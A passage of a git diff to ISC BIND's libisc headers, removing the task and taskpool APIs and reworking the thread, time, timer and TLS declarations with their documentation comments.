- *\li	This function is equivalent to
- *
- *\code
- *		isc_task_purgerange(task, sender, type, type, tag);
- *\endcode
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *
- * Ensures:
- *
- *\li	Events in the event queue of 'task' whose sender is 'sender', whose
- *	type is 'type', and whose tag is 'tag' will be purged, unless they
- *	are marked as unpurgable.
- *
- *\li	A sender of NULL will match any sender.  A NULL tag matches any
- *	tag.
- *
- * Returns:
- *
- *\li	The number of events purged.
- */
-
-bool
-isc_task_purgeevent(isc_task_t *task, isc_event_t *event);
-/*%<
- * Purge 'event' from a task's event queue.
- *
- * XXXRTH:  WARNING:  This method may be removed before beta.
- *
- * Notes:
- *
- *\li	If 'event' is on the task's event queue, it will be purged,
- * 	unless it is marked as unpurgeable.  'event' does not have to be
- *	on the task's event queue; in fact, it can even be an invalid
- *	pointer.  Purging only occurs if the event is actually on the task's
- *	event queue.
- *
- * \li	Purging never changes the state of the task.
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *
- * Ensures:
- *
- *\li	'event' is not in the event queue for 'task'.
- *
- * Returns:
- *
- *\li	#true			The event was purged.
- *\li	#false			The event was not in the event queue,
- *					or was marked unpurgeable.
- */
-
-unsigned int
-isc_task_unsendrange(isc_task_t *task, void *sender, isc_eventtype_t first,
-		     isc_eventtype_t last, void *tag, isc_eventlist_t *events);
-/*%<
- * Remove events from a task's event queue.
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *
- *\li	last >= first.
- *
- *\li	*events is a valid list.
- *
- * Ensures:
- *
- *\li	Events in the event queue of 'task' whose sender is 'sender', whose
- *	type is >= first and <= last, and whose tag is 'tag' will be dequeued
- *	and appended to *events.
- *
- *\li	A sender of NULL will match any sender.  A NULL tag matches any
- *	tag.
- *
- * Returns:
- *
- *\li	The number of events unsent.
- */
-
-unsigned int
-isc_task_unsend(isc_task_t *task, void *sender, isc_eventtype_t type, void *tag,
-		isc_eventlist_t *events);
-/*%<
- * Remove events from a task's event queue.
- *
- * Notes:
- *
- *\li	This function is equivalent to
- *
- *\code
- *		isc_task_unsendrange(task, sender, type, type, tag, events);
- *\endcode
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *
- *\li	*events is a valid list.
- *
- * Ensures:
- *
- *\li	Events in the event queue of 'task' whose sender is 'sender', whose
- *	type is 'type', and whose tag is 'tag' will be dequeued and appended
- *	to *events.
- *
- * Returns:
- *
- *\li	The number of events unsent.
- */
-
-isc_result_t
-isc_task_onshutdown(isc_task_t *task, isc_taskaction_t action, void *arg);
-/*%<
- * Send a shutdown event with action 'action' and argument 'arg' when
- * 'task' is shutdown.
- *
- * Notes:
- *
- *\li	Shutdown events are posted in LIFO order.
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *
- *\li	'action' is a valid task action.
- *
- * Ensures:
- *
- *\li	When the task is shutdown, shutdown events requested with
- *	isc_task_onshutdown() will be appended to the task's event queue.
- *
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_SHUTTINGDOWN			Task is shutting down.
- */
-
-void
-isc_task_shutdown(isc_task_t *task);
-/*%<
- * Shutdown 'task'.
- *
- * Notes:
- *
- *\li	Shutting down a task causes any shutdown events requested with
- *	isc_task_onshutdown() to be posted (in LIFO order).  The task
- *	moves into a "shutting down" mode which prevents further calls
- *	to isc_task_onshutdown().
- *
- *\li	Trying to shutdown a task that has already been shutdown has no
- *	effect.
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- *
- * Ensures:
- *
- *\li	Any shutdown events requested with isc_task_onshutdown() have been
- *	posted (in LIFO order).
- */
-
-void
-isc_task_destroy(isc_task_t **taskp);
-/*%<
- * Destroy '*taskp'.
- *
- * Notes:
- *
- *\li	This call is equivalent to:
- *
- *\code
- *		isc_task_shutdown(*taskp);
- *		isc_task_detach(taskp);
- *\endcode
- *
- * Requires:
- *
- *	'*taskp' is a valid task.
- *
- * Ensures:
- *
- *\li	Any shutdown events requested with isc_task_onshutdown() have been
- *	posted (in LIFO order).
- *
- *\li	*taskp == NULL
- *
- *\li	If '*taskp' is the last reference to the task,
- *		all resources used by the task will be freed.
- */
-
-void
-isc_task_setname(isc_task_t *task, const char *name, void *tag);
-/*%<
- * Name 'task'.
- *
- * Notes:
- *
- *\li	Only the first 15 characters of 'name' will be copied.
- *
- *\li	Naming a task is currently only useful for debugging purposes.
- *
- * Requires:
- *
- *\li	'task' is a valid task.
- */
-
-const char *
-isc_task_getname(isc_task_t *task);
-/*%<
- * Get the name of 'task', as previously set using isc_task_setname().
- *
- * Notes:
- *\li	This function is for debugging purposes only.
- *
- * Requires:
- *\li	'task' is a valid task.
- *
- * Returns:
- *\li	A non-NULL pointer to a null-terminated string.
- * 	If the task has not been named, the string is
- * 	empty.
- *
- */
-
-isc_nm_t *
-isc_task_getnetmgr(isc_task_t *task);
-
-void *
-isc_task_gettag(isc_task_t *task);
-/*%<
- * Get the tag value for  'task', as previously set using isc_task_settag().
- *
- * Notes:
- *\li	This function is for debugging purposes only.
- *
- * Requires:
- *\li	'task' is a valid task.
- */
-
-isc_result_t
-isc_task_beginexclusive(isc_task_t *task);
-/*%<
- * Request exclusive access for 'task', which must be the calling
- * task.  Waits for any other concurrently executing tasks to finish their
- * current event, and prevents any new events from executing in any of the
- * tasks sharing a task manager with 'task'.
- * It also pauses processing of network events in netmgr if it was provided
- * when taskmgr was created.
- *
- * The exclusive access must be relinquished by calling
- * isc_task_endexclusive() before returning from the current event handler.
- *
- * Requires:
- *\li	'task' is the calling task.
- *
- * Returns:
- *\li	#ISC_R_SUCCESS		The current task now has exclusive access.
- *\li	#ISC_R_LOCKBUSY		Another task has already requested exclusive
- *				access.
- */
-
-void
-isc_task_endexclusive(isc_task_t *task);
-/*%<
- * Relinquish the exclusive access obtained by isc_task_beginexclusive(),
- * allowing other tasks to execute.
- *
- * Requires:
- *\li	'task' is the calling task, and has obtained
- *		exclusive access by calling isc_task_spl().
- */
-
-bool
-isc_task_exiting(isc_task_t *t);
-/*%<
- * Returns true if the task is in the process of shutting down,
- * false otherwise.
- *
- * Requires:
- *\li	'task' is a valid task.
- */
-
-void
-isc_task_setprivilege(isc_task_t *task, bool priv);
-/*%<
- * Set or unset the task's "privileged" flag depending on the value of
- * 'priv'.
- *
- * Under normal circumstances this flag has no effect on the task behavior,
- * but when the task manager has been set to privileged execution mode via
- * isc_taskmgr_setmode(), only tasks with the flag set will be executed,
- * and all other tasks will wait until they're done.  Once all privileged
- * tasks have finished executing, the task manager resumes running
- * non-privileged tasks.
- *
- * Requires:
- *\li	'task' is a valid task.
- */
-
-bool
-isc_task_getprivilege(isc_task_t *task);
-/*%<
- * Returns the current value of the task's privilege flag.
- *
- * Requires:
- *\li	'task' is a valid task.
- */
-
-bool
-isc_task_privileged(isc_task_t *task);
-/*%<
- * Returns true if the task's privilege flag is set *and* the task
- * manager is currently in privileged mode.
- *
- * Requires:
- *\li	'task' is a valid task.
- */
-
-/*****
- ***** Task Manager.
- *****/
-
-void
-isc_taskmgr_attach(isc_taskmgr_t *, isc_taskmgr_t **);
-void
-isc_taskmgr_detach(isc_taskmgr_t **);
-/*%<
- * Attach/detach the task manager.
- */
-
-void
-isc_taskmgr_setmode(isc_taskmgr_t *manager, isc_taskmgrmode_t mode);
-isc_taskmgrmode_t
-isc_taskmgr_mode(isc_taskmgr_t *manager);
-/*%<
- * Set/get the operating mode of the task manager. Valid modes are:
- *
- *\li	isc_taskmgrmode_normal
- *\li	isc_taskmgrmode_privileged
- *
- * In privileged execution mode, only tasks that have had the "privilege"
- * flag set via isc_task_setprivilege() can be executed. When all such
- * tasks are complete, non-privileged tasks resume running. The task calling
- * this function should be in task-exclusive mode; the privileged tasks
- * will be run after isc_task_endexclusive() is called.
- *
- * Requires:
- *
- *\li	'manager' is a valid task manager.
- */
-
-void
-isc_taskmgr_setexcltask(isc_taskmgr_t *mgr, isc_task_t *task);
-/*%<
- * Set a task which will be used for all task-exclusive operations.
- *
- * Requires:
- *\li	'manager' is a valid task manager.
- *
- *\li	'task' is a valid task.
- */
-
-isc_result_t
-isc_taskmgr_excltask(isc_taskmgr_t *mgr, isc_task_t **taskp);
-/*%<
- * Attach '*taskp' to the task set by isc_taskmgr_getexcltask().
- * This task should be used whenever running in task-exclusive mode,
- * so as to prevent deadlock between two exclusive tasks.
- *
- * Requires:
- *\li	'manager' is a valid task manager.
- *
- *\li	taskp != NULL && *taskp == NULL
- */
-
-#ifdef HAVE_LIBXML2
-int
-isc_taskmgr_renderxml(isc_taskmgr_t *mgr, void *writer0);
-#endif /* ifdef HAVE_LIBXML2 */
-
-#ifdef HAVE_JSON_C
-isc_result_t
-isc_taskmgr_renderjson(isc_taskmgr_t *mgr, void *tasksobj0);
-#endif /* HAVE_JSON_C */
-
-ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/taskpool.h b/lib/isc/include/isc/taskpool.h
deleted file mode 100644
index 94bd0c7873..0000000000
--- a/lib/isc/include/isc/taskpool.h
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef ISC_TASKPOOL_H
-#define ISC_TASKPOOL_H 1
-
-/*****
-***** Module Info
-*****/
-
-/*! \file isc/taskpool.h
- * \brief A task pool is a mechanism for sharing a small number of tasks
- * among a large number of objects such that each object is
- * assigned a unique task, but each task may be shared by several
- * objects.
- *
- * Task pools are used to let objects that can exist in large
- * numbers (e.g., zones) use tasks for synchronization without
- * the memory overhead and unfair scheduling competition that
- * could result from creating a separate task for each object.
- */
-
-/***
- *** Imports.
- ***/
-
-#include <stdbool.h>
-
-#include <isc/lang.h>
-#include <isc/task.h>
-
-ISC_LANG_BEGINDECLS
-
-/*****
-***** Types.
-*****/
-
-typedef struct isc_taskpool isc_taskpool_t;
-
-/*****
-***** Functions.
-*****/
-
-isc_result_t
-isc_taskpool_create(isc_taskmgr_t *tmgr, isc_mem_t *mctx, unsigned int ntasks,
-		    unsigned int quantum, bool priv, isc_taskpool_t **poolp);
-/*%<
- * Create a task pool of "ntasks" tasks, each with quantum
- * "quantum".
- *
- * Requires:
- *
- *\li	'tmgr' is a valid task manager.
- *
- *\li	'mctx' is a valid memory context.
- *
- *\li	poolp != NULL && *poolp == NULL
- *
- * Ensures:
- *
- *\li	On success, '*taskp' points to the new task pool.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_UNEXPECTED
- */
-
-void
-isc_taskpool_gettask(isc_taskpool_t *pool, isc_task_t **targetp);
-/*%<
- * Attach to a task from the pool.  Currently the next task is chosen
- * from the pool at random.  (This may be changed in the future to
- * something that guaratees balance.)
- */
-
-int
-isc_taskpool_size(isc_taskpool_t *pool);
-/*%<
- * Returns the number of tasks in the task pool 'pool'.
- */
-
-isc_result_t
-isc_taskpool_expand(isc_taskpool_t **sourcep, unsigned int size, bool priv,
-		    isc_taskpool_t **targetp);
-
-/*%<
- * If 'size' is larger than the number of tasks in the pool pointed to by
- * 'sourcep', then a new taskpool of size 'size' is allocated, the existing
- * tasks from are moved into it, additional tasks are created to bring the
- * total number up to 'size', and the resulting pool is attached to
- * 'targetp'.
- *
- * If 'size' is less than or equal to the tasks in pool 'source', then
- * 'sourcep' is attached to 'targetp' without any other action being taken.
- *
- * In either case, 'sourcep' is detached.
- *
- * Requires:
- *
- * \li	'sourcep' is not NULL and '*source' is not NULL
- * \li	'targetp' is not NULL and '*source' is NULL
- *
- * Ensures:
- *
- * \li	On success, '*targetp' points to a valid task pool.
- * \li	On success, '*sourcep' points to NULL.
- *
- * Returns:
- *
- * \li	#ISC_R_SUCCESS
- * \li	#ISC_R_NOMEMORY
- */
-
-void
-isc_taskpool_destroy(isc_taskpool_t **poolp);
-/*%<
- * Destroy a task pool.  The tasks in the pool are detached but not
- * shut down.
- *
- * Requires:
- * \li	'*poolp' is a valid task pool.
- */
-
-ISC_LANG_ENDDECLS
-
-#endif /* ISC_TASKPOOL_H */
diff --git a/lib/isc/include/isc/thread.h b/lib/isc/include/isc/thread.h
index 037a44cf5b..a24dfcdca5 100644
--- a/lib/isc/include/isc/thread.h
+++ b/lib/isc/include/isc/thread.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,8 +16,11 @@
 /*! \file */
 
 #include <pthread.h>
+
 #if HAVE_THREADS_H
 #include <threads.h>
+#else
+#define thread_local _Thread_local
 #endif
 
 #if defined(HAVE_PTHREAD_NP_H)
@@ -25,23 +30,23 @@
 #include <isc/lang.h>
 #include <isc/result.h>
 
-extern thread_local size_t isc_tid_v;
-
 ISC_LANG_BEGINDECLS
 
 typedef pthread_t isc_thread_t;
-typedef void *	  isc_threadresult_t;
-typedef void *	  isc_threadarg_t;
-typedef isc_threadresult_t (*isc_threadfunc_t)(isc_threadarg_t);
+typedef void *(*isc_threadfunc_t)(void *);
 
+/*%
+ * like isc_thread_create(), but run the function on the current
+ * thread which must be the main thread.
+ */
 void
-isc_thread_create(isc_threadfunc_t, isc_threadarg_t, isc_thread_t *);
+isc_thread_main(isc_threadfunc_t, void *);
 
 void
-isc_thread_join(isc_thread_t thread, isc_threadresult_t *result);
+isc_thread_create(isc_threadfunc_t, void *, isc_thread_t *);
 
 void
-isc_thread_setconcurrency(unsigned int level);
+isc_thread_join(isc_thread_t thread, void **);
 
 void
 isc_thread_yield(void);
@@ -49,9 +54,6 @@ isc_thread_yield(void);
 void
 isc_thread_setname(isc_thread_t thread, const char *name);
 
-isc_result_t
-isc_thread_setaffinity(int cpu);
-
 #define isc_thread_self (uintptr_t) pthread_self
 
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/tid.h b/lib/isc/include/isc/tid.h
new file mode 100644
index 0000000000..20bafac595
--- /dev/null
+++ b/lib/isc/include/isc/tid.h
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <inttypes.h>
+
+#include <isc/lang.h>
+#include <isc/thread.h>
+
+ISC_LANG_BEGINDECLS
+
+#define ISC_TID_UNKNOWN UINT32_MAX
+
+uint32_t
+isc_tid_count(void);
+/*%<
+ * Returns the number of threads.
+ */
+
+extern thread_local uint32_t tid_local;
+
+static inline uint32_t
+isc_tid(void) {
+	return (tid_local);
+}
+/*%<
+ * Returns the thread ID of the currently-running loop.
+ */
+
+/* Private */
+
+void
+isc__tid_init(uint32_t tid);
+
+void
+isc__tid_initcount(uint32_t count);
+
+ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/time.h b/lib/isc/include/isc/time.h
index adf56fc19d..e9c2920bc9 100644
--- a/lib/isc/include/isc/time.h
+++ b/lib/isc/include/isc/time.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,35 +11,24 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_TIME_H
-#define ISC_TIME_H 1
+#pragma once
 
 /*! \file */
 
-#include <inttypes.h>
-#include <stdbool.h>
+#include <time.h>
 
 #include <isc/lang.h>
 #include <isc/types.h>
 
-/***
- *** Intervals
- ***/
-
-/*!
- *  \brief
- * The contents of this structure are private, and MUST NOT be accessed
- * directly by callers.
- *
- * The contents are exposed only to allow callers to avoid dynamic allocation.
- */
-struct isc_interval {
-	unsigned int seconds;
-	unsigned int nanoseconds;
+enum {
+	MS_PER_SEC = 1000,		 /*%< Milliseonds per second. */
+	US_PER_MS = 1000,		 /*%< Microseconds per millisecond. */
+	US_PER_SEC = 1000 * 1000,	 /*%< Microseconds per second. */
+	NS_PER_US = 1000,		 /*%< Nanoseconds per microsecond. */
+	NS_PER_MS = 1000 * 1000,	 /*%< Nanoseconds per millisecond. */
+	NS_PER_SEC = 1000 * 1000 * 1000, /*%< Nanoseconds per second. */
 };
 
-extern const isc_interval_t *const isc_interval_zero;
-
 /*
  * ISC_FORMATHTTPTIMESTAMP_SIZE needs to be 30 in C locale and potentially
  * more for other locales to handle longer national abbreviations when
@@ -45,11 +36,16 @@ extern const isc_interval_t *const isc_interval_zero;
  */
 #define ISC_FORMATHTTPTIMESTAMP_SIZE 50
 
+/*
+ * Semantic shims to distinguish between relative and absolute time
+ */
+#define isc_interval_zero isc_time_epoch
+#define isc_interval_t	  isc_time_t
+
 ISC_LANG_BEGINDECLS
 
-void
-isc_interval_set(isc_interval_t *i, unsigned int seconds,
-		 unsigned int nanoseconds);
+#define isc_interval_set(i, seconds, nanoseconds) \
+	isc_time_set((isc_time_t *)i, seconds, nanoseconds)
 /*%<
  * Set 'i' to a value representing an interval of 'seconds' seconds and
  * 'nanoseconds' nanoseconds, suitable for use in isc_time_add() and
@@ -61,8 +57,7 @@ isc_interval_set(isc_interval_t *i, unsigned int seconds,
  *\li	nanoseconds < 1000000000.
  */
 
-bool
-isc_interval_iszero(const isc_interval_t *i);
+#define isc_interval_iszero(i) isc_time_isepoch((const isc_time_t *)i)
 /*%<
  * Returns true iff. 'i' is the zero interval.
  *
@@ -71,10 +66,44 @@ isc_interval_iszero(const isc_interval_t *i);
  *\li	'i' is a valid pointer.
  */
 
+#define isc_interval_ms(i) isc_time_miliseconds((const isc_time_t *)i)
+/*%<
+ * Returns interval 'i' expressed as a number of milliseconds.
+ *
+ * Requires:
+ *
+ *\li	'i' is a valid pointer.
+ */
+
+#define isc_interval_fromnanosecs(ns) isc_time_fromnanosecs(ns)
+#define isc_interval_tonanosecs(i)    isc_time_tonanosecs(i)
+
 /***
  *** Absolute Times
  ***/
 
+/*%
+ * A linear count of nanoseconds.
+ *
+ * 64 bits of nanoseconds is more than 500 years.
+ */
+typedef uint64_t isc_nanosecs_t;
+
+/*%
+ * Convert linear nanoseconds to an isc_time_t
+ */
+#define isc_nanosecs_fromtime(time) \
+	(NS_PER_SEC * (isc_nanosecs_t)(time).seconds + (time).nanoseconds)
+
+/*%
+ * Construct an isc_time_t from linear nanoseconds
+ */
+#define isc_time_fromnanosecs(ns)                 \
+	((isc_time_t){                            \
+		.seconds = (ns) / NS_PER_SEC,     \
+		.nanoseconds = (ns) % NS_PER_SEC, \
+	})
+
 /*%
  * The contents of this structure are private, and MUST NOT be accessed
  * directly by callers.
@@ -131,8 +160,14 @@ isc_time_isepoch(const isc_time_t *t);
  *\li	't' is a valid pointer.
  */
 
-isc_result_t
-isc_time_now(isc_time_t *t);
+isc_nanosecs_t
+isc_time_monotonic(void);
+/*%<
+ * Returns the system's monotonic time in linear nanoseconds.
+ */
+
+isc_time_t
+isc_time_now(void);
 /*%<
  * Set 't' to the current absolute time.
  *
@@ -150,8 +185,8 @@ isc_time_now(isc_time_t *t);
  *		in the current definition of isc_time_t.
  */
 
-isc_result_t
-isc_time_now_hires(isc_time_t *t);
+isc_time_t
+isc_time_now_hires(void);
 /*%<
  * Set 't' to the current absolute time. Uses higher resolution clocks
  * recommended when microsecond accuracy is required.
@@ -309,6 +344,16 @@ isc_time_nanoseconds(const isc_time_t *t);
  *\li	The returned value is less than 1*10^9.
  */
 
+uint32_t
+isc_time_miliseconds(const isc_time_t *t);
+/*%<
+ * Returns time 't' expressed as a number of milliseconds.
+ *
+ * Requires:
+ *
+ *\li	't' is a valid pointer.
+ */
+
 void
 isc_time_formattimestamp(const isc_time_t *t, char *buf, unsigned int len);
 /*%<
@@ -446,5 +491,3 @@ isc_time_formatshorttimestamp(const isc_time_t *t, char *buf, unsigned int len);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_TIME_H */
diff --git a/lib/isc/include/isc/timer.h b/lib/isc/include/isc/timer.h
index 96376e5cc8..0c0cf1a8d6 100644
--- a/lib/isc/include/isc/timer.h
+++ b/lib/isc/include/isc/timer.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,23 +20,12 @@
 /*! \file isc/timer.h
  * \brief Provides timers which are event sources in the task system.
  *
- * Three types of timers are supported:
+ * Two types of timers are supported:
  *
  *\li	'ticker' timers generate a periodic tick event.
  *
- *\li	'once' timers generate an idle timeout event if they are idle for too
- *	long, and generate a life timeout event if their lifetime expires.
- *	They are used to implement both (possibly expiring) idle timers and
- *	'one-shot' timers.
- *
- *\li	'limited' timers generate a periodic tick event until they reach
- *	their lifetime when they generate a life timeout event.
- *
- *\li	'inactive' timers generate no events.
- *
- * Timers can change type.  It is typical to create a timer as
- * an 'inactive' timer and then change it into a 'ticker' or
- * 'once' timer.
+ *\li	'once' timers generate an timeout event if the time reaches
+ *      the set interval.
  *
  *\li MP:
  *	The module ensures appropriate synchronization of data structures it
@@ -64,8 +55,7 @@
 
 #include <stdbool.h>
 
-#include <isc/event.h>
-#include <isc/eventclass.h>
+#include <isc/job.h>
 #include <isc/lang.h>
 #include <isc/time.h>
 #include <isc/types.h>
@@ -81,21 +71,8 @@ typedef enum {
 	isc_timertype_undefined = -1, /*%< Undefined */
 	isc_timertype_ticker = 0,     /*%< Ticker */
 	isc_timertype_once = 1,	      /*%< Once */
-	isc_timertype_limited = 2,    /*%< Limited */
-	isc_timertype_inactive = 3    /*%< Inactive */
 } isc_timertype_t;
 
-typedef struct isc_timerevent {
-	struct isc_event common;
-	isc_time_t	 due;
-} isc_timerevent_t;
-
-#define ISC_TIMEREVENT_FIRSTEVENT (ISC_EVENTCLASS_TIMER + 0)
-#define ISC_TIMEREVENT_TICK	  (ISC_EVENTCLASS_TIMER + 1)
-#define ISC_TIMEREVENT_IDLE	  (ISC_EVENTCLASS_TIMER + 2)
-#define ISC_TIMEREVENT_LIFE	  (ISC_EVENTCLASS_TIMER + 3)
-#define ISC_TIMEREVENT_LASTEVENT  (ISC_EVENTCLASS_TIMER + 65535)
-
 /***
  *** Timer and Timer Manager Functions
  ***
@@ -103,142 +80,72 @@ typedef struct isc_timerevent {
  *** those functions which return an isc_result_t.
  ***/
 
-isc_result_t
-isc_timer_create(isc_timermgr_t *manager, isc_timertype_t type,
-		 const isc_time_t *expires, const isc_interval_t *interval,
-		 isc_task_t *task, isc_taskaction_t action, void *arg,
+void
+isc_timer_create(isc_loop_t *loop, isc_job_cb cb, void *cbarg,
 		 isc_timer_t **timerp);
 /*%<
- * Create a new 'type' timer managed by 'manager'.  The timers parameters
- * are specified by 'expires' and 'interval'.  Events will be posted to
- * 'task' and when dispatched 'action' will be called with 'arg' as the
- * arg value.  The new timer is returned in 'timerp'.
- *
- * Notes:
- *
- *\li	For ticker timers, the timer will generate a 'tick' event every
- *	'interval' seconds.  The value of 'expires' is ignored.
- *
- *\li	For once timers, 'expires' specifies the time when a life timeout
- *	event should be generated.  If 'expires' is 0 (the epoch), then no life
- *	timeout will be generated.  'interval' specifies how long the timer
- *	can be idle before it generates an idle timeout.  If 0, then no
- *	idle timeout will be generated.
- *
- *\li	If 'expires' is NULL, the epoch will be used.
- *
- *	If 'interval' is NULL, the zero interval will be used.
+ * Create a new 'type' timer managed by 'loop'.  The timers parameters are
+ * specified by 'expires' and 'interval'.  Events will be posted on the isc
+ * event loop and when dispatched 'cb' will be called with 'cbarg' as the arg
+ * value.  The new timer is returned in 'timerp'.
  *
  * Requires:
  *
- *\li	'manager' is a valid manager
- *
- *\li	'task' is a valid task
- *
- *\li	'action' is a valid action
- *
- *\li	'expires' points to a valid time, or is NULL.
- *
- *\li	'interval' points to a valid interval, or is NULL.
- *
- *\li	type == isc_timertype_inactive ||
- *	('expires' and 'interval' are not both 0)
- *
+ *\li	'loop' is a valid manager
+ *\li	'cb' is a valid job
  *\li	'timerp' is a valid pointer, and *timerp == NULL
  *
  * Ensures:
  *
  *\li	'*timerp' is attached to the newly created timer
- *
- *\li	The timer is attached to the task
- *
- *\li	An idle timeout will not be generated until at least Now + the
- *	timer's interval if 'timer' is a once timer with a non-zero
- *	interval.
- *
- * Returns:
- *
- *\li	Success
- *\li	No memory
- *\li	Unexpected error
  */
 
-isc_result_t
-isc_timer_reset(isc_timer_t *timer, isc_timertype_t type,
-		const isc_time_t *expires, const isc_interval_t *interval,
-		bool purge);
+void
+isc_timer_stop(isc_timer_t *timer);
 /*%<
- * Change the timer's type, expires, and interval values to the given
- * values.  If 'purge' is TRUE, any pending events from this timer
- * are purged from its task's event queue.
- *
- * Notes:
- *
- *\li	If 'expires' is NULL, the epoch will be used.
- *
- *\li	If 'interval' is NULL, the zero interval will be used.
+ * Stop the timer.
  *
  * Requires:
  *
  *\li	'timer' is a valid timer
+ */
+
+void
+isc_timer_start(isc_timer_t *timer, isc_timertype_t type,
+		const isc_interval_t *interval);
+/*%<
+ * Start the timer.
  *
- *\li	The same requirements that isc_timer_create() imposes on 'type',
- *	'expires' and 'interval' apply.
- *
- * Ensures:
+ * Notes:
  *
- *\li	An idle timeout will not be generated until at least Now + the
- *	timer's interval if 'timer' is a once timer with a non-zero
- *	interval.
+ *\li	For ticker timers, the timer will generate a 'tick' event every
+ *	'interval' seconds.
  *
- * Returns:
+ *\li	For once timers, 'interval' specifies how long the timer
+ *	can be idle before it generates an idle timeout.  If 0, then
+ *	the timer will be run immediately.
  *
- *\li	Success
- *\li	No memory
- *\li	Unexpected error
- */
-
-isc_result_t
-isc_timer_touch(isc_timer_t *timer);
-/*%<
- * Set the last-touched time of 'timer' to the current time.
+ *\li	If 'interval' is NULL, the zero interval will be used.
  *
  * Requires:
  *
- *\li	'timer' is a valid once timer.
+ *\li	'timer' is a valid timer
+ *\li	'type' is either 'isc_timertype_ticker' or 'isc_timertype_once'
+ *\li	'interval' points to a valid interval, or is NULL.
  *
  * Ensures:
  *
  *\li	An idle timeout will not be generated until at least Now + the
  *	timer's interval if 'timer' is a once timer with a non-zero
  *	interval.
- *
- * Returns:
- *
- *\li	Success
- *\li	Unexpected error
  */
 
 void
-isc_timer_attach(isc_timer_t *timer, isc_timer_t **timerp);
-/*%<
- * Attach *timerp to timer.
- *
- * Requires:
- *
- *\li	'timer' is a valid timer.
- *
- *\li	'timerp' points to a NULL timer.
- *
- * Ensures:
- *
- *\li	*timerp is attached to timer.
- */
-
+isc_timer_async_destroy(isc_timer_t **timerp);
 void
-isc_timer_detach(isc_timer_t **timerp);
+isc_timer_destroy(isc_timer_t **timerp);
 /*%<
- * Detach *timerp from its timer.
+ * Destroy (asynchronously) the timer *timerp.
  *
  * Requires:
  *
@@ -247,35 +154,6 @@ isc_timer_detach(isc_timer_t **timerp);
  * Ensures:
  *
  *\li	*timerp is NULL.
- *
- *\li	If '*timerp' is the last reference to the timer,
- *	then:
- *
- *\code
- *		The timer will be shutdown
- *
- *		The timer will detach from its task
- *
- *		All resources used by the timer have been freed
- *
- *		Any events already posted by the timer will be purged.
- *		Therefore, if isc_timer_detach() is called in the context
- *		of the timer's task, it is guaranteed that no more
- *		timer event callbacks will run after the call.
- *\endcode
  */
 
-isc_timertype_t
-isc_timer_gettype(isc_timer_t *timer);
-/*%<
- * Return the timer type.
- *
- * Requires:
- *
- *\li	'timer' to be a valid timer.
- */
-
-void
-isc_timermgr_poke(isc_timermgr_t *m);
-
 ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/isc/tls.h b/lib/isc/include/isc/tls.h
index 38c990648b..634ba65c4e 100644
--- a/lib/isc/include/isc/tls.h
+++ b/lib/isc/include/isc/tls.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,6 +21,8 @@
 typedef struct ssl_ctx_st isc_tlsctx_t;
 typedef struct ssl_st	  isc_tls_t;
 
+typedef struct x509_store_st isc_tls_cert_store_t;
+
 void
 isc_tlsctx_free(isc_tlsctx_t **ctpx);
 /*%<
@@ -28,6 +32,17 @@ isc_tlsctx_free(isc_tlsctx_t **ctpx);
  *\li	'ctxp' != NULL and '*ctxp' != NULL.
  */
 
+void
+isc_tlsctx_attach(isc_tlsctx_t *src, isc_tlsctx_t **ptarget);
+/*%<
+ * Attach to the TLS context.
+ *
+ * Requires:
+ *\li	'src' != NULL;
+ *\li	'ptarget' != NULL;
+ *\li	'*ptarget' == NULL.
+ */
+
 isc_result_t
 isc_tlsctx_createserver(const char *keyfile, const char *certfile,
 			isc_tlsctx_t **ctxp);
